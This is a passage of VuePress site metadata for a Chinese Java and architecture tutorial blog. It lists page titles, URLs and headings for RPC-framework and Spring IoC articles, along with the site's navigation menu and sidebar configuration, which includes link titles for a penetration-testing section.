ter:title",content:"第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html",relativePath:"md/middleware/rpc/2022-10-13-《RPC手撸专栏》第17章-服务消费者实现动态代理功能屏蔽请求协议对象的细节.md",key:"v-4f5e983c",path:"/md/middleware/rpc/2022-10-13-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC17%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据",frontmatter:{title:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据",pay:"https://articles.zsxq.com/id_r6u3xt22wf67.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html"},{name:"twitter:title",content:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html",relativePath:"md/middleware/rpc/2022-10-17-《RPC手撸专栏》第18章-服务消费者整合动态代理实现直接调用接口返回结果数据.md",key:"v-5b4b2898",path:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"核心类实现关系",slug:"核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第19章:服务消费者动态代理实现异步调用",frontmatter:{title:"第19章:服务消费者动态代理实现异步调用",pay:"https://articles.zsxq.com/id_ciz8m2zcl6nt.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第19章:服务消费者动态代理实现异步调用"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html"},{name:"twitter:title",content:"第19章:服务消费者动态代理实现异步调用"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html",relativePath:"md/middleware/rpc/2022-10-18-《RPC手撸专栏》第19章-服务消费者动态代理实现异步调用.md",key:"v-ec91f966",path:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"核心类实现关系",slug:"核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/threadpool/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/middleware/threadpool/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/threadpool/default.html",relativePath:"md/middleware/threadpool/default.md",key:"v-caee8a52",path:"/md/middleware/threadpool/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"冰河技术 | 架构师进阶指南",frontmatter:{title:"冰河技术 | 架构师进阶指南",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"冰河技术 | 架构师进阶指南"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/other/guide-to-reading.html"},{name:"twitter:title",content:"冰河技术 | 架构师进阶指南"},{name:"twitter:url",content:"/md/other/guide-to-reading.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/other/guide-to-reading.html",relativePath:"md/other/guide-to-reading.md",key:"v-7c8288a5",path:"/md/other/guide-to-reading.html",headers:[{level:2,title:"关于我",slug:"关于我"},{level:2,title:"本站知识总览",slug:"本站知识总览"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"},{level:2,title:"开源文档说明",slug:"开源文档说明"},{level:3,title:"协议",slug:"协议"},{level:3,title:"注意事项",slug:"注意事项"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/jvm/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/jvm/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/jvm/default.html",relativePath:"md/performance/jvm/default.md",key:"v-96e2d6ce",path:"/md/performance/jvm/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/mysql/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/mysql/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/mysql/default.html",relativePath:"md/performance/mysql/default.md",key:"v-3c89ee52",path:"/md/performance/mysql/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/system/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/system/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/system/default.html",relativePath:"md/performance/system/default.md",key:"v-46711436",path:"/md/performance/system/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/tomcat/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/tomcat/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/tomcat/default.html",relativePath:"md/performance/tomcat/default.md",key:"v-1b2fc345",path:"/md/performance/tomcat/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/project/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/project/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/project/default.html",relativePath:"md/project/default.md",key:"v-33a1c22a",path:"/md/project/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"我在 **冰河技术** 微信公众号中发表的《[【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd)》一文中,介绍了如何使用@Autowired、@Qualifier和@Primary注解自动装配Spring组件。那除了这三个注解以外,还有没有其他的注解可以自动装配组件呢?那必须有啊!今天,我们就一起说说@Resource注解和@Inject注解。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:title",content:"【Spring注解驱动开发】你还不会使用@Resource和@Inject注解?那你就out了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-026-详解@Resource和@Inject注解.md",key:"v-2eabbb1c",path:"/md/core/spring/ioc/2022-04-04-026-%E8%AF%A6%E8%A7%A3@Resource%E5%92%8C@Inject%E6%B3%A8%E8%A7%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Resource注解",slug:"resource注解"},{level:2,title:"@Inject注解",slug:"inject注解"},{level:2,title:"项目案例",slug:"项目案例"},{level:3,title:"测试@Resource注解",slug:"测试-resource注解"},{level:3,title:"测试@Inject注解",slug:"测试-inject注解"},{level:2,title:"@Resource和@Inject注解与@Autowired注解的区别",slug:"resource和-inject注解与-autowired注解的区别"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在 **冰河技术** 微信公众号前面的文章中,我们介绍了如何使用注解来自动装配Spring组件。之前将的都是在来的字段上添加注解,那有没有什么方法可以实现方法、构造器位置的自动装配吗?今天我们就一起来探讨下如何实现方法、构造器位置的自动装配。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html"},{name:"twitter:title",content:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html",relativePath:"md/core/spring/ioc/2022-04-04-027-如何实现方法、构造器位置的自动装配.md",key:"v-2dae6d1e",path:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html",headers:[{level:2,title:"再谈@Autowired注解",slug:"再谈-autowired注解"},{level:2,title:"项目案例",slug:"项目案例"},{level:3,title:"案例准备",slug:"案例准备"},{level:3,title:"标注在实例方法上",slug:"标注在实例方法上"},{level:3,title:"标注在构造方法上",slug:"标注在构造方法上"},{level:3,title:"标注在参数上",slug:"标注在参数上"},{level:3,title:"标注在方法位置",slug:"标注在方法位置"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,有关于Spring的面试中,Spring的循环依赖问题是必问的知识点,你回答的不好,就会被直接pass掉。即使你没被pass掉,你也会比那些知道如何解决Spring循环依赖问题的同事薪资低,这就是现实。所以,我们今天就一起来探讨下如何解决Spring循环依赖的问题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html",relativePath:"md/core/spring/ioc/2022-04-04-028-如何解决Spring的循环依赖问题.md",key:"v-95e4fa80",path:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是循环依赖?",slug:"什么是循环依赖"},{level:2,title:"怎么检测是否存在循环依赖?",slug:"怎么检测是否存在循环依赖"},{level:2,title:"三种循环依赖",slug:"三种循环依赖"},{level:3,title:"1.构造器的循环依赖。【这个Spring解决不了】",slug:"_1-构造器的循环依赖。【这个spring解决不了】"},{level:3,title:"2.setter方式单例,默认方式",slug:"_2-setter方式单例-默认方式"},{level:3,title:"3.setter方式原型,prototype",slug:"_3-setter方式原型-prototype"},{level:2,title:"Spring怎么解决循环依赖",slug:"spring怎么解决循环依赖"},{level:2,title:"总结",slug:"总结"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3}],themeConfig:{docsRepo:"binghe001/BingheGuide",docsDir:"docs",docsBranch:"master",editLinks:!0,sidebarDepth:0,locales:{"/":{label:"简体中文",selectText:"Languages",editLinkText:"在 GitHub 上编辑此页",lastUpdated:"上次更新",nav:[{text:"导读",link:"/md/other/guide-to-reading.md"},{text:"核心技术",items:[{text:"Java核心技术",items:[{text:"Java基础",link:"/md/core/java/basics/2022-04-28-全网最全正则表达式总结.md"},{text:"Java进阶",link:"/md/core/java/advanced/default.md"},{text:"Java高级",link:"/md/core/java/senior/default.md"},{text:"Java8新特性",link:"/md/core/java/java8/2022-03-31-001-Java8有哪些新特性呢?.md"}]},{text:"Spring核心技术",items:[{text:"IOC核心技术",link:"/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.md"},{text:"AOP核心技术",link:"/md/core/spring/aop/default.md"}]},{text:"JVM核心技术",items:[{text:"JVM调优技术",link:"/md/core/jvm/2022-04-18-001-JVM调优的几种场景.md"}]},{text:"MySQL核心技术",items:[{text:"MySQL基础篇",link:"/md/core/mysql/base/2022-08-25-MySQL索引底层技术.md"}]}]},{text:"性能调优",items:[{text:"JVM性能调优",link:"/md/performance/jvm/default.md"},{text:"Tomcat性能调优",link:"/md/performance/tomcat/default.md"},{text:"MySQL性能调优",link:"/md/performance/mysql/default.md"},{text:"操作系统性能调优",link:"/md/performance/system/default.md"}]},{text:"并发编程",items:[{text:"底层技术",link:"/md/concurrent/bottom/default.md"},{text:"源码分析",link:"/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.md"},{text:"基础案例",link:"/md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.md"},{text:"实战案例",link:"/md/concurrent/ActualCombat/default.md"},{text:"面试",link:"/md/concurrent/interview/default.md"},{text:"系统架构",link:"/md/concurrent/framework/default.md"}]},{text:"框架源码",items:[{text:"Spring源码",link:"/md/frame/spring/default.md"},{text:"SpringMVC源码",link:"/md/frame/springmvc/default.md"},{text:"MyBatis源码",link:"/md/frame/mybatis/default.md"},{text:"Dubbo源码",link:"/md/frame/dubbo/default.md"}]},{text:"分布式",items:[{text:"缓存技术",items:[{text:"Redis",link:"/md/distributed/cache/default.md"}]},{text:"服务注册发现",items:[{text:"Zookeeper",link:"/md/distributed/zookeeper/default.md"}]},{text:"消息中间件",items:[{text:"RabbitMQ",link:"/md/distributed/mq/rabbitmq/default.md"},{text:"RocketMQ",link:"/md/distributed/mq/rocketmq/default.md"},{text:"Kafka",link:"/md/distributed/mq/kafka/default.md"}]},{text:"网络通信",items:[{text:"Netty",link:"/md/distributed/netty/default.md"}]},{text:"远程调用",items:[{text:"Dubbo",link:"/md/distributed/dubbo/default.md"}]},{text:"数据库",items:[{text:"MongoDB",link:"/md/distributed/mongodb/default.md"}]},{text:"搜索引擎",items:[{text:"ElasticSearch",link:"/md/distributed/es/default.md"}]}]},{text:"🔥🔥🔥微服务",items:[{text:"SpringBoot",link:"/md/microservices/springboot/default.md"},{text:"🔥🔥🔥SpringCloudAlibaba",link:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.md"}]},{text:"🔥🔥🔥中间件",items:[{text:"🔥🔥🔥《RPC手撸专栏》",link:"/md/middleware/rpc/2022-08-24-我设计了一款TPS百万级别的RPC框架.md"},{text:"《字节码编程》",link:"/md/middleware/bytecode/2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.md"},{text:"《手写线程池》",link:"/md/middleware/threadpool/default.md"},{text:"《分布式限流》",link:"/md/middleware/limiter/default.md"},{text:"《开源项目》",link:"/md/middleware/independent/default.md"}]},{text:"🔥🔥🔥项目实战",items:[{text:"🔥🔥🔥SpringCloud Alibaba实战",link:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.md"}]},{text:"渗透技术",items:[{text:"log4j重大漏洞",link:"/md/hack/log4j/2022-05-30-冰河连夜复现了Log4j最新重大漏洞.md"},{text:"基础环境篇",link:"/md/hack/environment/2022-04-17-001-安装Kali系统.md"},{text:"渗透工具篇",link:"/md/hack/tools/2022-04-17-001-使用Easy-Creds工具攻击无线网络.md"},{text:"木马篇",link:"/md/hack/horse/2022-05-02-001-各种一句话木马大全.md"},{text:"SQL注入篇",link:"/md/hack/sql/2022-05-02-001-sqli-labs-master下载与安装.md"},{text:"漏洞拿Shell篇",link:"/md/hack/shell/2022-05-02-001-各种解析漏洞拿shell.md"},{text:"暴力破解篇",link:"/md/hack/crack/2022-05-02-001-使用rarcrack暴力破解RAR-ZIP-7Z压缩包.md"},{text:"渗透脚本篇",link:"/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).md"},{text:"数据与系统提权篇",link:"/md/hack/raising/2022-05-02-001-数据库提权.md"},{text:"客户端渗透篇",link:"/md/hack/client/2022-05-02-001-浏览器渗透.md"},{text:"社会工程学",link:"/md/hack/sociology/2022-05-02-001-Metasploit之社会工程学工具包.md"},{text:"问题记录篇",link:"/md/hack/question/2022-05-02-001-HTTP错误4031禁止访问-执行访问被拒绝.md"}]},{text:"面试必问系列",link:"/md/interview/2022-04-18-001-面试必问-聊聊JVM性能调优.md"},{text:"🔥🔥🔥冰河指南",link:"/md/all/all.md"},{text:"📚PDF",items:[{text:"出版图书",items:[{text:"《深入理解高并发编程:核心原理与案例实战》",link:"/md/knowledge/book/2022-06-17-深入理解高并发编程.md"},{text:"《深入理解分布式事务:原理与实战》",link:"/md/knowledge/book/2022-03-29-深入理解分布式事务.md"},{text:"《MySQL技术大全:开发、优化与运维实战》",link:"/md/knowledge/book/2022-03-29-MySQL技术大全.md"},{text:"《海量数据处理与大数据技术实战》",link:"/md/knowledge/book/2022-03-29-海量数据处理与大数据技术实战.md"}]},{text:"电子书籍",items:[{text:"《深入理解高并发编程(第1版)》",link:"/md/knowledge/pdf/2022-07-25-深入理解高并发编程-第1版.md"},{text:"《SpringCloud Alibaba实战》",link:"/md/knowledge/pdf/2022-07-25-十大篇章-共26个章节-332页-打包发布.md"},{text:"《冰河的渗透实战笔记》",link:"/md/knowledge/pdf/2022-03-30-《冰河的渗透实战笔记》电子书,442页,37万字,正式发布.md"}]}]},{text:"关于",items:[{text:"关于自己",link:"/md/about/me/about-me.md"},{text:"关于学习",link:"/md/about/study/default.md"},{text:"关于职场",link:"/md/about/job/default.md"}]},{text:"B站",link:"https://space.bilibili.com/517638832"},{text:"Github",link:"https://github.com/binghe001/BingheGuide"}],sidebar:{"/md/other/":[{title:"阅读指南",collapsable:!1,sidebarDepth:2,children:["guide-to-reading.md"]}],"/md/core/java/":[{title:"Java基础",collapsable:!1,sidebarDepth:0,children:["basics/2022-04-28-全网最全正则表达式总结.md"]},{title:"Java进阶",collapsable:!1,sidebarDepth:0,children:["advanced/default.md"]},{title:"Java高级",collapsable:!1,sidebarDepth:0,children:["senior/default.md"]},{title:"Java8新特性",collapsable:!1,sidebarDepth:0,children:["java8/2022-03-31-001-Java8有哪些新特性呢?.md","java8/2022-03-31-002-你知道Java8为什么引入Lambda表达式吗.md","java8/2022-03-31-003-Lambda表达式基础语法,都在这儿了.md","java8/2022-03-31-004-Lambda表达式典型案例,你想要的的都在这儿了.md","java8/2022-03-31-005-一文搞懂函数式接口.md","java8/2022-03-31-006-知识点总结,你都会了吗.md","java8/2022-03-31-007-方法引用和构造器引用.md","java8/2022-03-31-008-关于Java8的Stream API,都在这儿了.md","java8/2022-03-31-009-强大的Stream API,你了解吗.md","java8/2022-03-31-010-Stream API有哪些中间操作,看完你也可以吊打面试官.md","java8/2022-03-31-011-Java8中的Stream 